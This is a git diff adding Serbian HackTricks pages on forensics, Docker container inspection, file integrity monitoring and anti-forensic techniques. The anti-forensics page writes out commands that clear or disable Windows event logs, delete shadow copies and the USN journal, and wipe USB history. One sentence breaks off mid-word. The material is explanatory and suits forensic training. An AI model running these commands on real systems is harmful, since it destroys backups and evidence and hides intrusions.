* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Kreiranje i montiranje slike
|
||||||
|
|
||||||
|
{% content-ref url="../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md" %}
|
||||||
|
[image-acquisition-and-mount.md](../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## Analiza malvera
|
||||||
|
|
||||||
|
Ovo **nije neophodan prvi korak koji treba preduzeti kada imate sliku**. Ali možete koristiti ove tehnike analize malvera nezavisno ako imate datoteku, sliku fajl-sistema, sliku memorije, pcap... pa je dobro **imati ove akcije na umu**:
|
||||||
|
|
||||||
|
{% content-ref url="malware-analysis.md" %}
|
||||||
|
[malware-analysis.md](malware-analysis.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## Inspekcija slike
|
||||||
|
|
||||||
|
Ako vam je data **forenzička slika** uređaja, možete početi **analizirati particije, korišćeni fajl-sistem** i **oporavljati** potencijalno **interesantne datoteke** (čak i one obrisane). Saznajte kako u:
|
||||||
|
|
||||||
|
{% content-ref url="partitions-file-systems-carving/" %}
|
||||||
|
[partitions-file-systems-carving](partitions-file-systems-carving/)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
Zavisno od korišćenih operativnih sistema i čak platformi, treba tražiti različite interesantne artefakte:
|
||||||
|
|
||||||
|
{% content-ref url="windows-forensics/" %}
|
||||||
|
[windows-forensics](windows-forensics/)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
{% content-ref url="linux-forensics.md" %}
|
||||||
|
[linux-forensics.md](linux-forensics.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
{% content-ref url="docker-forensics.md" %}
|
||||||
|
[docker-forensics.md](docker-forensics.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## Detaljna inspekcija određenih tipova datoteka i softvera
|
||||||
|
|
||||||
|
Ako imate veoma **sumnjivu** **datoteku**, onda **zavisno od tipa datoteke i softvera** koji ju je kreirao, nekoliko **trikova** može biti korisno.\
|
||||||
|
Pročitajte sledeću stranicu da biste naučili neke interesantne trikove:
|
||||||
|
|
||||||
|
{% content-ref url="specific-software-file-type-tricks/" %}
|
||||||
|
[specific-software-file-type-tricks](specific-software-file-type-tricks/)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
Želim da posebno pomenem stranicu:
|
||||||
|
|
||||||
|
{% content-ref url="specific-software-file-type-tricks/browser-artifacts.md" %}
|
||||||
|
[browser-artifacts.md](specific-software-file-type-tricks/browser-artifacts.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## Inspekcija memorijskog ispisa
|
||||||
|
|
||||||
|
{% content-ref url="memory-dump-analysis/" %}
|
||||||
|
[memory-dump-analysis](memory-dump-analysis/)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## Inspekcija pcap datoteka
|
||||||
|
|
||||||
|
{% content-ref url="pcap-inspection/" %}
|
||||||
|
[pcap-inspection](pcap-inspection/)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## **Anti-forenzičke tehnike**
|
||||||
|
|
||||||
|
Imajte na umu moguću upotrebu anti-forenzičkih tehnika:
|
||||||
|
|
||||||
|
{% content-ref url="anti-forensic-techniques.md" %}
|
||||||
|
[anti-forensic-techniques.md](anti-forensic-techniques.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## Lov na pretnje
|
||||||
|
|
||||||
|
{% content-ref url="file-integrity-monitoring.md" %}
|
||||||
|
[file-integrity-monitoring.md](file-integrity-monitoring.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,171 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **oglašavanje vaše kompanije na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
# Vremenske oznake
|
||||||
|
|
||||||
|
Napadač može biti zainteresovan za **menjanje vremenskih oznaka datoteka** kako bi izbegao otkrivanje.\
|
||||||
|
Moguće je pronaći vremenske oznake unutar MFT-a u atributima `$STANDARD_INFORMATION` __ i __ `$FILE_NAME`.
|
||||||
|
|
||||||
|
Oba atributa imaju 4 vremenske oznake: **Modifikacija**, **pristup**, **kreiranje** i **modifikacija MFT registra** (MACE ili MACB).
|
||||||
|
|
||||||
|
**Windows explorer** i druge alatke prikazuju informacije iz **`$STANDARD_INFORMATION`**.
|
||||||
|
|
||||||
|
## TimeStomp - Anti-forenzički alat
|
||||||
|
|
||||||
|
Ovaj alat **menja** informacije o vremenskim oznakama unutar **`$STANDARD_INFORMATION`** **ali ne** i informacije unutar **`$FILE_NAME`**. Zbog toga je moguće **identifikovati** **sumnjive** **aktivnosti**.
|
||||||
|
|
||||||
|
## Usnjrnl
|
||||||
|
|
||||||
|
**USN Journal** (Update Sequence Number Journal) je funkcija NTFS (Windows NT fajl sistem) koja prati promene na volumenu. Alatka [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) omogućava pregled ovih promena.
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (449).png>)
|
||||||
|
|
||||||
|
Prethodna slika je **izlaz** prikazan od strane **alatke** gde se može primetiti da su neke **promene izvršene** na datoteci.
|
||||||
|
|
||||||
|
## $LogFile
|
||||||
|
|
||||||
|
**Sve promene metapodataka na fajl sistemu se beleže** u procesu poznatom kao [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Beleženi metapodaci se čuvaju u fajlu nazvanom `**$LogFile**`, smeštenom u korenom direktorijumu NTFS fajl sistema. Alatke poput [LogFileParser](https://github.com/jschicht/LogFileParser) se mogu koristiti za parsiranje ovog fajla i identifikaciju promena.
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (450).png>)
|
||||||
|
|
||||||
|
Ponovo, u izlazu alatke je moguće videti da su **izvršene neke promene**.
|
||||||
|
|
||||||
|
Korišćenjem iste alatke moguće je identifikovati **kada su vremenske oznake modifikovane**:
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (451).png>)
|
||||||
|
|
||||||
|
* CTIME: Vreme kreiranja fajla
|
||||||
|
* ATIME: Vreme modifikacije fajla
|
||||||
|
* MTIME: Vreme modifikacije MFT registra fajla
|
||||||
|
* RTIME: Vreme pristupa fajlu
|
||||||
|
|
||||||
|
## Poređenje `$STANDARD_INFORMATION` i `$FILE_NAME`
|
||||||
|
|
||||||
|
Još jedan način za identifikaciju sumnjivo modifikovanih datoteka je poređenje vremena na oba atributa u potrazi za **neslaganjima**.
|
||||||
|
|
||||||
|
## Nanosekunde
|
||||||
|
|
||||||
|
Vremenske oznake **NTFS** imaju **preciznost** od **100 nanosekundi**. Zato je veoma sumnjivo pronaći datoteke sa vremenskim oznakama poput 2010-10-10 10:10:**00.000:0000**.
|
||||||
|
|
||||||
|
## SetMace - Anti-forenzički alat
|
||||||
|
|
||||||
|
Ovaj alat može modifikovati oba atributa `$STARNDAR_INFORMATION` i `$FILE_NAME`. Međutim, od Windows Viste, potrebno je da operativni sistem bude uključen kako bi se ove informacije modifikovale.
|
||||||
|
|
||||||
|
# Sakrivanje podataka
|
||||||
|
|
||||||
|
NFTS koristi klaster i minimalnu veličinu informacija. To znači da ako datoteka zauzima klaster i po, **preostali pola klastera nikada neće biti korišćen** sve dok datoteka ne bude obrisana. Zato je moguće **sakriti podatke u ovom prostoru**.
|
||||||
|
|
||||||
|
Postoje alatke poput slacker koje omogućavaju sakrivanje podataka u ovom "skrivenom" prostoru. Međutim, analiza `$logfile` i `$usnjrnl` može pokazati da su neki podaci dodati:
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (452).png>)
|
||||||
|
|
||||||
|
Zatim, moguće je povratiti prostor korišćenjem alatki poput FTK Imager. Imajte na umu da ovakve alatke mogu sačuvati sadržaj obfuskovan ili čak šifrovan.
|
||||||
|
|
||||||
|
# UsbKill
|
||||||
|
|
||||||
|
Ovo je alatka koja će **isključiti računar ako se detektuje bilo kakva promena na USB** portovima.\
|
||||||
|
Način da se ovo otkrije je da se pregledaju pokrenuti procesi i **pregledaju svi pokrenuti Python skriptovi**.
|
||||||
|
|
||||||
|
# Linux distribucije uživo
|
||||||
|
|
||||||
|
Ove distribucije se **izvršavaju unutar RAM** memorije. Jedini način da se otkriju je **ako je NTFS fajl-sistem montiran sa dozvolama za pisanje**. Ako je montiran samo sa dozvolama za čitanje, neće biti moguće otkriti upad.
|
||||||
|
|
||||||
|
# Sigurno brisanje
|
||||||
|
|
||||||
|
[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization)
|
||||||
|
|
||||||
|
# Windows konfiguracija
|
||||||
|
|
||||||
|
Moguće je onemogućiti nekoliko metoda beleženja u Windows-u kako bi se forenzička istraga otežala.
|
||||||
|
|
||||||
|
## Onemogućavanje vremenskih oznaka - UserAssist
|
||||||
|
|
||||||
|
Ovo je registarski ključ koji čuva datume i sate kada je svaki izvršni fajl pokrenut od strane korisnika.
|
||||||
|
|
||||||
|
Onemogućavanje UserAssist zahteva dva koraka:
|
||||||
|
|
||||||
|
1. Postavite dva registarska ključa, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` i `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, oba na nulu kako biste signalizirali da želite da se UserAssist onemogući.
|
||||||
|
2. Obrišite podstabla registra koja izgledaju kao `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`.
|
||||||
|
|
||||||
|
## Onemogućavanje vremenskih oznaka - Prefetch
|
||||||
|
|
||||||
|
Ovo će sačuvati informacije o aplikacijama koje su pokrenute u cilju poboljšanja performansi Windows sistema. Međutim, ovo takođe može biti korisno za forenzičke prakse.
|
||||||
|
|
||||||
|
* Izvršite `regedit`
|
||||||
|
* Izaberite putanju fajla `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
|
||||||
|
* Desnim klikom na `EnablePrefetcher` i `EnableSuperfetch`
|
||||||
|
* Izaberite Modify na svakom od njih da biste promenili vrednost sa 1 (ili 3) na 0
|
||||||
|
* Restartujte
|
||||||
|
|
||||||
|
## Onemogućavanje vremenskih oznaka - Vreme poslednjeg pristupa
|
||||||
|
|
||||||
|
Svaki put kada se otvori folder sa NTFS volumena na Windows NT serveru, sistem uzima vreme da **ažurira vremensko polje na svakom navedenom folderu**, nazvano vreme poslednjeg
|
||||||
|
## Brisanje istorije USB uređaja
|
||||||
|
|
||||||
|
Svi unosi o **USB uređajima** se čuvaju u Windows registru pod ključem **USBSTOR** koji sadrži podključeve koji se kreiraju svaki put kada priključite USB uređaj na računar. Ovaj ključ se može pronaći ovde: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Brisanjem ovog ključa** ćete obrisati istoriju USB uređaja.\
|
||||||
|
Takođe možete koristiti alatku [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) da biste bili sigurni da ste ih obrisali (i da biste ih obrisali).
|
||||||
|
|
||||||
|
Još jedan fajl koji čuva informacije o USB uređajima je fajl `setupapi.dev.log` unutar `C:\Windows\INF`. Ovaj fajl takođe treba obrisati.
|
||||||
|
|
||||||
|
## Onemogući Shadow kopije
|
||||||
|
|
||||||
|
**Izlistajte** shadow kopije sa `vssadmin list shadowstorage`\
|
||||||
|
**Obrišite** ih pokretanjem `vssadmin delete shadow`
|
||||||
|
|
||||||
|
Takođe ih možete obrisati putem grafičkog interfejsa prateći korake predložene na [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
|
||||||
|
|
||||||
|
Da biste onemogućili shadow kopije, sledite korake sa [ovog linka](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
|
||||||
|
|
||||||
|
1. Otvorite program Services tako što ćete u tekstualnom pretraživaču kucati "services" nakon što kliknete na dugme za pokretanje Windowsa.
|
||||||
|
2. Na listi pronađite "Volume Shadow Copy", izaberite ga, a zatim pristupite Properties opciji desnim klikom.
|
||||||
|
3. Izaberite Disabled iz padajućeg menija "Startup type", a zatim potvrdite promenu klikom na Apply i OK.
|
||||||
|
|
||||||
|
Takođe je moguće izmeniti konfiguraciju kojih fajlova će biti kopirano u shadow kopiju u registru `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
|
||||||
|
|
||||||
|
## Prepisivanje obrisanih fajlova
|
||||||
|
|
||||||
|
* Možete koristiti **Windows alatku**: `cipher /w:C` Ovo će narediti cipher-u da ukloni sve podatke sa dostupnog neiskorišćenog prostora na disku C.
|
||||||
|
* Takođe možete koristiti alatke kao što je [**Eraser**](https://eraser.heidi.ie)
|
||||||
|
|
||||||
|
## Brisanje Windows događajnih logova
|
||||||
|
|
||||||
|
* Windows + R --> eventvwr.msc --> Proširite "Windows Logs" --> Desni klik na svaku kategoriju i izaberite "Clear Log"
|
||||||
|
* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
|
||||||
|
* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
|
||||||
|
|
||||||
|
## Onemogući Windows događajne logove
|
||||||
|
|
||||||
|
* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
|
||||||
|
* Unutar sekcije Services onemogućite servis "Windows Event Log"
|
||||||
|
* `WEvtUtil.exec clear-log` ili `WEvtUtil.exe cl`
|
||||||
|
|
||||||
|
## Onemogući $UsnJrnl
|
||||||
|
|
||||||
|
* `fsutil usn deletejournal /d c:`
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini da podržite HackTricks:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje tako što ćete slati PR-ove na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,119 @@
|
||||||
|
# Forenzika Docker-a
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Modifikacija kontejnera
|
||||||
|
|
||||||
|
Postoje sumnje da je neki docker kontejner kompromitovan:
|
||||||
|
```bash
|
||||||
|
docker ps
|
||||||
|
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||||||
|
cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress
|
||||||
|
```
|
||||||
|
Lako možete **pronaći izmene koje su napravljene na ovom kontejneru u vezi sa slikom** pomoću:
|
||||||
|
```bash
|
||||||
|
docker diff wordpress
|
||||||
|
C /var
|
||||||
|
C /var/lib
|
||||||
|
C /var/lib/mysql
|
||||||
|
A /var/lib/mysql/ib_logfile0
|
||||||
|
A /var/lib/mysql/ib_logfile1
|
||||||
|
A /var/lib/mysql/ibdata1
|
||||||
|
A /var/lib/mysql/mysql
|
||||||
|
A /var/lib/mysql/mysql/time_zone_leap_second.MYI
|
||||||
|
A /var/lib/mysql/mysql/general_log.CSV
|
||||||
|
...
|
||||||
|
```
|
||||||
|
U prethodnoj komandi **C** znači **Promenjeno** i **A,** **Dodato**.\
|
||||||
|
Ako primetite da je neka zanimljiva datoteka poput `/etc/shadow` izmenjena, možete je preuzeti iz kontejnera kako biste proverili da li postoji zlonamerna aktivnost pomoću:
|
||||||
|
```bash
|
||||||
|
docker cp wordpress:/etc/shadow.
|
||||||
|
```
|
||||||
|
Možete ga takođe **uporediti sa originalnim** pokretanjem nove kontejnera i izvlačenjem datoteke iz njega:
|
||||||
|
```bash
|
||||||
|
docker run -d lamp-wordpress
|
||||||
|
docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
|
||||||
|
diff original_shadow shadow
|
||||||
|
```
|
||||||
|
Ako primetite da je **dodat sumnjiv fajl**, možete pristupiti kontejneru i proveriti ga:
|
||||||
|
```bash
|
||||||
|
docker exec -it wordpress bash
|
||||||
|
```
|
||||||
|
## Modifikacije slika
|
||||||
|
|
||||||
|
Kada vam je dat izvezena Docker slika (verovatno u `.tar` formatu), možete koristiti [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) da **izvučete sažetak modifikacija**:
|
||||||
|
```bash
|
||||||
|
docker save <image> > image.tar #Export the image to a .tar file
|
||||||
|
container-diff analyze -t sizelayer image.tar
|
||||||
|
container-diff analyze -t history image.tar
|
||||||
|
container-diff analyze -t metadata image.tar
|
||||||
|
```
|
||||||
|
Zatim možete **dekompresovati** sliku i **pristupiti blobovima** kako biste pretražili sumnjive datoteke koje ste možda pronašli u istoriji promena:
|
||||||
|
```bash
|
||||||
|
tar -xf image.tar
|
||||||
|
```
|
||||||
|
### Osnovna analiza
|
||||||
|
|
||||||
|
Možete dobiti **osnovne informacije** o pokrenutoj slici:
|
||||||
|
```bash
|
||||||
|
docker inspect <image>
|
||||||
|
```
|
||||||
|
Takođe možete dobiti sažetak **istorije promena** sa:
|
||||||
|
```bash
|
||||||
|
docker history --no-trunc <image>
|
||||||
|
```
|
||||||
|
Takođe možete generisati **dockerfile iz slike** pomoću:
|
||||||
|
```bash
|
||||||
|
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
|
||||||
|
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
|
||||||
|
```
|
||||||
|
### Dive
|
||||||
|
|
||||||
|
Da biste pronašli dodate/izmenjene datoteke u Docker slikama, možete koristiti i [**dive**](https://github.com/wagoodman/dive) (preuzmite ga sa [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) alat:
|
||||||
|
```bash
|
||||||
|
#First you need to load the image in your docker repo
|
||||||
|
sudo docker load < image.tar 1 ⨯
|
||||||
|
Loaded image: flask:latest
|
||||||
|
|
||||||
|
#And then open it with dive:
|
||||||
|
sudo dive flask:latest
|
||||||
|
```
|
||||||
|
Ovo vam omogućava da **navigirate kroz različite blobove Docker slika** i proverite koje su datoteke izmenjene/dodate. **Crvena** boja označava dodate datoteke, a **žuta** boja označava izmenjene datoteke. Koristite **tab** za prelazak na drugi prikaz i **razmaknicu** za skupljanje/otvaranje foldera.
|
||||||
|
|
||||||
|
Sa die-om nećete moći da pristupite sadržaju različitih faza slike. Da biste to uradili, moraćete **dekompresovati svaki sloj i pristupiti mu**.\
|
||||||
|
Možete dekompresovati sve slojeve slike iz direktorijuma gde je slika dekompresovana izvršavanjem:
|
||||||
|
```bash
|
||||||
|
tar -xf image.tar
|
||||||
|
for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done
|
||||||
|
```
|
||||||
|
## Poverenijalni podaci iz memorije
|
||||||
|
|
||||||
|
Imajte na umu da kada pokrenete Docker kontejner unutar hosta, **možete videti procese koji se izvršavaju na kontejneru sa hosta** tako što ćete pokrenuti `ps -ef`.
|
||||||
|
|
||||||
|
Stoga (kao root) možete **izvući memoriju procesa** sa hosta i pretraživati je u potrazi za **poverenijalnim podacima**, baš [**kao u sledećem primeru**](../../linux-hardening/privilege-escalation/#process-memory).
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,52 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
# Osnovna linija
|
||||||
|
|
||||||
|
Osnovna linija se sastoji od snimanja trenutnog stanja određenih delova sistema kako bi se **uporedilo sa budućim stanjem i istakle promene**.
|
||||||
|
|
||||||
|
Na primer, možete izračunati i sačuvati heš svake datoteke na fajl sistemu kako biste saznali koje su datoteke izmenjene.\
|
||||||
|
Ovo se takođe može uraditi sa kreiranim korisničkim nalozima, pokrenutim procesima, pokrenutim servisima i bilo čim drugim što se ne bi trebalo mnogo ili uopšte ne bi trebalo menjati.
|
||||||
|
|
||||||
|
## Praćenje integriteta datoteka
|
||||||
|
|
||||||
|
Praćenje integriteta datoteka (FIM) je kritična bezbednosna tehnika koja štiti IT okruženja i podatke praćenjem promena u datotekama. Uključuje dva ključna koraka:
|
||||||
|
|
||||||
|
1. **Upoređivanje sa osnovnom linijom:** Uspostavite osnovnu liniju koristeći atribute datoteka ili kriptografske kontrolne sume (poput MD5 ili SHA-2) za buduća upoređivanja radi otkrivanja izmena.
|
||||||
|
2. **Obaveštenje o promeni u realnom vremenu:** Dobijajte trenutna upozorenja kada se datoteke pristupaju ili menjaju, obično putem proširenja jezgra operativnog sistema.
|
||||||
|
|
||||||
|
## Alati
|
||||||
|
|
||||||
|
* [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring)
|
||||||
|
* [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software)
|
||||||
|
|
||||||
|
## Reference
|
||||||
|
